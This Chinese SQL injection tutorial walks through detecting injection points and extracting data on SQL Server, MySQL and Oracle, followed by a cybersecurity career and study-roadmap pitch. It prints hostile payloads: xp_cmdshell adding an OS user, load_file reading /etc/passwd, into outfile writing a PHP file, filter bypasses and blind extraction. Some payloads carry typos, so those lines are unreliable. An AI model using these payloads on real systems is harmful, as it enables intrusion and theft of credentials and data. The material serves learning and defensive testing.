【2026最新】SQL 三种注入方式详解,零基础入门到精通,收藏这一篇就够了_sql注入

SQL 注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。


SQL 注入分类
1. 数字型注入

当输入的参数为整型时,则有可能存在数字型注入漏洞。

假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点:

① 先在输入框中输入一个单引号'

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE id=1'

不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入and 1 = 1

SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 1

语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入and 1 = 2

SQL 语句变为:

`SELECT * FROM table WHERE id=1 and 1 = 2`

虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

2. 字符型注入

当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = 'admin'

判断字符型漏洞的 SQL 注入点:

① 还是先输入单引号admin'来测试

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE username = 'admin''

页面异常。

② 输入:admin' and 1 = 1 --

注意:在 admin 后有一个单引号',用于字符串闭合,最后还有一个注释符--(两条杠后面还有一个空格!!!)。

SQL 语句变为:

SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –

页面显示正确。

③ 输入:admin' and 1 = 2 --

SQL 语句变为:

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

3. 其他类型

其实我觉得 SQL 注入只有两种类型:数字型与字符型。很多人可能会说还有如:Cookie 注入、POST 注入、延时注入等。
的确如此,但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。

以下是一些常见的注入叫法:


常见数据库的注入

攻击者对于数据库注入,无非是利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:

攻击者对于程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的 SQL 语句不一样罢了。

这里介绍三种数据库的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

SQL Server
1. 利用错误消息提取信息

SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。

① 枚举当前表或者列

假设选择存在这样一张表:

查询 root 用户的详细信息,SQL 语句猜测如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:
' having 1 = 1 --

最终执行的 SQL 语句就会变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那么 SQL 的执行器可能会抛出一个错误:

攻击者就可以发现当前的表名为 user、而且存在字段 id。

攻击者可以利用此特性继续得到其他列名,输入如下语句:

’ GROUP BY users.id HAVING 1 = 1 –

则 SQL 语句变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

抛出错误:

由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。
注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数

②. 利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。

如下列 SQL 语句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

执行器错误提示:

这就可以获取到用户的用户名为 root。因为在子查询SELECT TOP 1 username FROM users中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。

利用此方法可以递归推导出所有的账户信息:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))

通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。

2. 获取元数据

SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。
如:

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

若当前表的列数为 2,则可以 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数,后面进行描述。

一些常用的系统数据库视图:

3. ORDER BY 子句猜测列数

可以用 ORDER BY 语句来判断当前表的列数。

如:

SELECT * FROM users WHERE id = 1——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 1(按照第一列排序)——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 2(按照第二列排序)——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 3(按照第三列排序)——SQL 执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 4(按照第四列排序)——SQL 抛出异常:

由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。

在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。

4. UNION 查询

UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:

① 用 UNION 查询猜测列数

不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。

在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:

可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:
UNION SELECT 1,2UNION SELECT 1,2,3

也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。

② 联合查询敏感信息
在得知列数为 4后,可以使用一下语句继续注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'(注:xtype=‘U’ 表示对象类型是表)

若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。

5. 利用SQL Server 提供的系统函数

SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。

如:

6. 存储过程

存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。

攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。

例如:http://www.aaa.org/test.aspx?id=1中存在注入点,那么攻击者就可以实施命令攻击:http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最终执行的 SQL 语句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'

分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。
注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。

常见的危险存储过程如下表:

另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:

7. 动态执行

SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。

如:exec('SELECT username, password FROM users')

也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)``select @query=0x73656C6563742031``exec(@query)

或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)


MySQL

前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。

1. MySQL 中的注释

MySQL 支持以下 3 中注释风格:

2. 获取元数据

MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。

① 查询用户数据库名称
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。

②查询当前数据表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。

③查询指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。

3. UNION 查询

与 SQL Server 大致相同,此处不赘述。

4. MySQL 函数利用

无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。

① load_file() 函数读文件操作

MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。

SQL 语句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:

UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #

“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。

在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。

② into outfile 写文件操作
MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。

写入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

③ 连接字符串
MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以将逗号改用十六进制表示:0x2c

5. MySQL 显错式注入

MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。

① 通过 updatexml 函数执行 SQL 语句

首先了解下updatexml()函数:

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串) ,

第三个参数:new_value,String格式,替换查找到的符合条件的数据

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错,会显示出无法识别的内容:

② 通过 extractvalue函数
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同样报错显示出当前用户:

6. 宽字节注入

宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。

在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。

如下使用 PHP 代码使用 $_GET 接收参数:

如访问URL:http:/www.xxser.com/Get.php?id=',显示如下:

单引号'被转义后就变成了\',在 MySQL 中,\'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。

但是若是输入:%d5',访问URL:http:/www.xxser.com/Get.php?id=%d5',显示如下:

可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。

7. MySQL 长字符截断

MySQL 超长字符截断又名 “SQL-Column-Truncation”。

在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。

假设有一张表如下:

username 字段的长度为 7。

分别插入一下 SQL 语句:
① 插入正常 SQL 语句:

INSERT users(id, username, password) VALUES(1, ‘admin’, ‘admin’);

成功插入。

② 插入错误的 SQL 语句,使 username 字段的长度超过7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');

虽然有警告,但是成功插入了。

③ 再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;

查询数据库:

可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。

但是这样怎么攻击呢?通过查询用户名为 admin 的用户:

可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。

比如有一处管理员登录时这样判断的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。

8. 延时注入

延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。

在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是将在 3 秒后执行该 SQL 语句。

可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞,步骤如下:

通过页面返回的世界可以断定,DBMS 执行了and sleep(3)语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。

然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
①查询当前用户,并取得字符串长度

执行SQL 语句:
AND if(length(user()) = 0, sleep(3), 1)

如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。

② 截取字符串第一个字符,并转换为 ASCII 码
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)

……
不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。

③ 递归截取字符串每一个字符,分别于 ASCII 码比较
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。

不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。


Oracle
1. 获取元数据

Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:
① user_tablespaces 视图,查看表空间
SELECT tablespace_name FROM user_tablespaces

② user_tables 视图,查看当前用户的所有表
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 视图,查看 ORacle 数据库的所有用户
SELECT username FROM all_users

⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)
SELECT object_name FROM user_objects

2. UNION 查询

Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。

①获取列的总数
获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。

另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立。

在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

然后获取非数字类型列,即可以显示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的null依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。

② 获取敏感信息
常见的敏感信息如下:

③ 获取数据库表及其内容

在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:

http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users –

注意:在查询数据时同样要注意数据类型,否则无法查询,只能一一测试,改变参数的查询位置。

计算机热门就业方向

从目前市场情况来讲,网络安全的就业前景是非常不错的,2022年的统计数据,网络安全专业的缺口已经增长到140万人。

1、就业岗位多,发展方向广

①就业环境:网络安全可以在计算机科学与技术、信息通信、电子商务、互联网金融、电子政务等领域从事相关工作,还可以在政府机关事业单位、银行、保险、证券等金融机构,电信、传媒等行业从事相关工作。

②就业岗位:网络安全工程师、渗透测试工程师、代码审计工程师、等级保护工程师、安全运维工程师、安全运营工程师、安全服务工程师等。

2、薪资待遇可观,提升较快

作为一个新兴行业,网络安全人才的市场需求远远大于供给,企业想真正招到人才,就必须在薪酬福利上有足够的竞争优势。因此,网络安全领域的薪资近年来也呈现稳步增长的态势。

根据工信部发布的《网络安全产业人才发展报告》显示,网络安全人才平均年薪为21.28万元,整体薪资水平较高。数据显示,网络安全人才年薪主要集中在10-20万元,占比40.62%,与往年持平;其次是20-30万元,占比为38.43%,较2020年占比19.48%有显著提高;而年薪在10万以下人才占比由2020年的19.74%下降至2022年的9.08%。由此可见,网络安全行业作为新兴赛道,尚在快速发展阶段,从业人员薪资水平提升较快,也显示出网络安全行业相对更重视人才留存。

3、职业发展空间大

从网络安全专业学习的主要内容来看,包括linux运维、Python开发、渗透测试、代码审计、等级保护、应急响应、风险评估等。可见该网络安全专业的技术性很强,具有鲜明的专业特点,是一门能够学到真正技术的工科类专业之一。

因此,在职业发展上,网络安全专业除了就业岗位众多之外,由于专业技术性较强,在工作单位将处于技术核心骨干地位,职业发展空间很大。

盘点网络安全的岗位汇总

0****1

岗位一:渗透测试工程师

**岗位释义:**模拟黑客攻击,利用黑客技术,挖掘漏洞,提出修复建议。有些大厂,例如奇安信,甚至会将渗透岗位分为红蓝两方,对候选人的技术要求比较高,大部分刚入行的新人,也将渗透岗位作为后期的发展目标。

岗位职责:

**工作难度:**5颗星

薪资现状:

0****2

岗位二:安全运维工程师

**岗位释义:**维护网络系统的正常、安全运行,如果受到黑客攻击,则需要进行应急响应和入侵排查安全加固。很多刚毕业入行的新人,基本都从运维做起。

岗位职责:

**工作难度:**3颗星

薪资现状:

0****3

岗位三:安全运营工程师

**岗位释义:**在运维的基础上,高效可持续地不断提升企业的安全防御能力。

岗位职责:

**工作难度:**3颗星

薪资现状:

0****4

岗位四:安全开发工程师

**岗位释义:**顾名思义,对安全产品及平台、策略等进行开发工作。

岗位职责:

**工作难度:**5颗星

薪资现状:

0****5

岗位五:等保测评工程师

**岗位释义:**等保测评也叫等级保护测评,主要负责开展信息安全等级保护测评、信息安全风险评估、应急响应、信息安全咨询等工作 。

岗位职责:

**工作难度:**3颗星

薪资现状:

0****6

岗位六:安全研究工程师

**岗位释义:**网络安全领域的研究人才。

岗位职责:

**工作难度:**5颗星

薪资现状:

0****7

岗位七:漏洞挖掘工程师

**岗位释义:**主要从事逆向、软件分析、漏洞挖掘工作

岗位职责:

**工作难度:**5颗星

薪资现状:

0****8

岗位八:安全管理工程师

**岗位释义:**负责信息安全相关流程、规范、标准的制定和评审,负责公司整体安全体系建设。

岗位职责

**工作难度:**4颗星

0****9

岗位九:应急响应工程师

**岗位释义:**主要负责信息安全事件应急响应、攻击溯源、取证分析工作,参与应急响应、攻击溯源、取证分析技术的研究,提升整体重大信息安全事件应急处置能力。

岗位职责:

**工作难度:**4颗星

薪酬现状:

10

岗位十:数据安全工程师

**岗位释义:**主要对公司的数据安全的日常维护和管理工作,确保公司数据安全。

岗位职责:

**工作难度:**4颗星

薪酬现状:

网络安全学习路线&学习资源

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

【“脚本小子”成长进阶资源领取】

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1200962.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2026年冠金石生产厂家TOP5权威推荐:上海岩首领航高端仿石漆新纪元

一家源于1988年技术沉淀的企业,用“一辈子、一件事、一群人”的专注精神,在西安火车站和银川高铁站的外墙上,让仿石漆的寿命与建筑同步。 当一座建筑的设计理念通过外墙效果得以延伸,材料的选择便成为了决定最终呈…

2026年冠金石生产厂家TOP5权威推荐:上海岩首领航高端仿石漆新纪元

一家源于1988年技术沉淀的企业,用“一辈子、一件事、一群人”的专注精神,在西安火车站和银川高铁站的外墙上,让仿石漆的寿命与建筑同步。 当一座建筑的设计理念通过外墙效果得以延伸,材料的选择便成为了决定最终呈…

塔城塔城乌苏额敏沙湾托里英语雅思辅导机构推荐,2026权威出国雅思课程口碑排行榜

对于塔城地区塔城市、乌苏、额敏、沙湾、托里五市县有雅思备考及留学规划的家庭而言,挑选合适的雅思辅导机构是留学筹备中的核心难题。五市县地域跨度大、边境特色鲜明,优质雅思教学资源主要集中在塔城市团结路商圈、…

C++虚函数实现原理深度解析:从多态到底层机制

一、高频面试题 题目&#xff1a; 请详细阐述C虚函数的实现原理&#xff0c;包括虚函数表、虚函数表指针的概念&#xff0c;以及在单继承、多继承和虚继承场景下的内存布局差异。 二、核心解析答案 1. 基本实现原理 C通过虚函数表&#xff08;vtable&#xff09; 和虚函数表…

2026 英语雅思网课一对一辅导平台排行榜:高性价比提分机构权威推荐​

雅思备考之路布满荆棘,考生常陷入 “选课迷茫、提分乏力、方案不适配” 的三重困境。在信息爆炸的市场中,优质教育机构鱼龙混杂,虚假宣传与夸大承诺让考生难以甄别,而缺乏权威全面的深度测评与口碑排名,更让多数人…

2026年轴流风机厂家最新推荐:防爆轴流风机/防腐轴流风机/高压轴流风机/sfb轴流风机/sf轴流风机/wf屋顶轴流风机/选择指南

2026新型轴流风机优质可靠公司推荐榜行业背景与筛选依据据《2026-2030中国工业通风设备行业发展白皮书》数据,2026年国内工业通风设备市场规模突破320亿元,其中新型轴流风机因节能高效、可靠性强,增速达18.7%,远超…

网络安全入门:什么是网络安全?为何它关乎每个人的数字生活?

目录 一、什么是网络安全 二、网络安全为何重要&#xff1f; 1、数据安全 2、保护财务信息 3、遵守法律法规 4、防止网络攻击 三、网络安全常见问题隐患 1、弱密码 2、恶意软件 3、网络钓鱼 4、扫码领礼品 四、预防信息泄露普及 1、加强密码管理 2、保护个人信息…

YOLOv8-Pose 姿态识别 RK3588 实战:从模型训练到 RKNN 部署,精度与推理速度双提升

文章目录 【YOLOv8-pose姿态识别部署至RK3588:模型训练到RKNN落地,让人体姿态分析精度与边缘推理速度双突破】 一、项目背景与技术选型:为何选择YOLOv8-pose+RK3588? 二、环境搭建:从代码仓库到硬件适配 1. 源码获取与工程结构 2. 依赖安装与硬件配置 三、YOLOv8-pose模型…

2026年屋顶、隧道、边墙、混流、排烟风机十大品牌推荐:多区域实力企业务实之选

在 2025 年工业通风规范化与建筑节能要求持续提升的背景下,屋顶风机、排烟风机、离心风机等设备的可靠性、适配性与合规性成为选型核心。基于企业资质、技术合规性、产品实用性及行业口碑的多维度客观梳理,以下推荐 …

全域网络安全防御 健全网络安全防护体系

网络安全基本概念 网络安全&#xff08;Cyber Security&#xff09;是指网络系统的硬件、软件及其系统中的数据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;网络服务不中断&#xff0c;使网络处于稳…

YOLOv13 全面教程:MogaBlock 模块原理深度解析与实战修改(手把手教学)

好的,这是一份关于 MSBlock 模块的详细原理讲解和小白友好型安装教程。我们将深入探讨其设计理念、内部机制,并提供手把手的移植步骤。 文章目录 @[toc] 1. 引言:为什么需要多尺度特征? 2. MSBlock 模块概览 2.1 MSBlock 的定位 2.2 整体流程 3. 核心子模块原理详解 3.1 MS…

导师严选2026 AI论文平台TOP9:继续教育写作全攻略

导师严选2026 AI论文平台TOP9&#xff1a;继续教育写作全攻略 2026年AI论文平台测评&#xff1a;为何需要一份精准的推荐榜单 在当前学术研究日益数字化的背景下&#xff0c;AI写作工具已成为高校师生、科研人员提升效率的重要助手。然而&#xff0c;面对市场上琳琅满目的产品&…

高压漏电起痕试验仪

从用户视角看高压漏电起痕试验仪&#xff1a;选购、应用与行业实践 高压漏电起痕试验仪&#xff1a;电气安全的新挑战与用户需求在电气设备日益普及的今天&#xff0c;绝缘材料的安全性能已成为产品设计的核心考量。潮湿、多尘或盐雾环境中的漏电起痕现象&#xff0c;如同电气…

使用onlyoffice预览word、excel、ppt、pdf等,可以双击index.html看效果的demo示例

index.html<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>OnlyOffice 文档预览测试</title&g…

【网络安全】你必须知道的几个网络安全概念

我们大家都知道网络安全的重要性&#xff0c;但对于网络安全相关知识了解的少之又少。今天我们小编就告诉你几个网络安全概念&#xff0c;以便大家了解。 一、安全 Web 网关 安全 Web 网关已经从其过去优化互联网带宽的目的演变为保护用户免受来自互联网的恶意内容的侵害。诸…

YOLOv13 RAB(Residual Attention Block)原理深度解析:多级残差 + 空间注意力的创新设计与应用

RAB模块原理深度解析:YOLOv13中的创新与应用教程 文章目录 RAB模块原理深度解析:YOLOv13中的创新与应用教程 1. 引言:深度学习架构演进与YOLOv13的创新 1.1 目标检测任务的挑战与YOLO系列的崛起 1.2 C2f模块: 1.3 RAB模块:创新驱动的性能飞跃 2. 背景回顾:YOLO中的C2f模块…

绝缘材料高压漏电起痕试验仪BLD-6000V

绝缘材料高压漏电起痕试验仪BLD-6000V&#xff1a;绝缘材料安全测试的全面指南 电痕化——电气安全的隐形威胁在潮湿、多尘或盐雾环境中&#xff0c;绝缘材料表面可能悄然形成导电碳化通道&#xff0c;这一过程称为漏电起痕&#xff08;Electrical Tracking&#xff09;。它并…

2026年高速印刷机加工厂选择:这些技巧助你避坑,市面上高速印刷机排名聚焦优质品牌综合实力排行

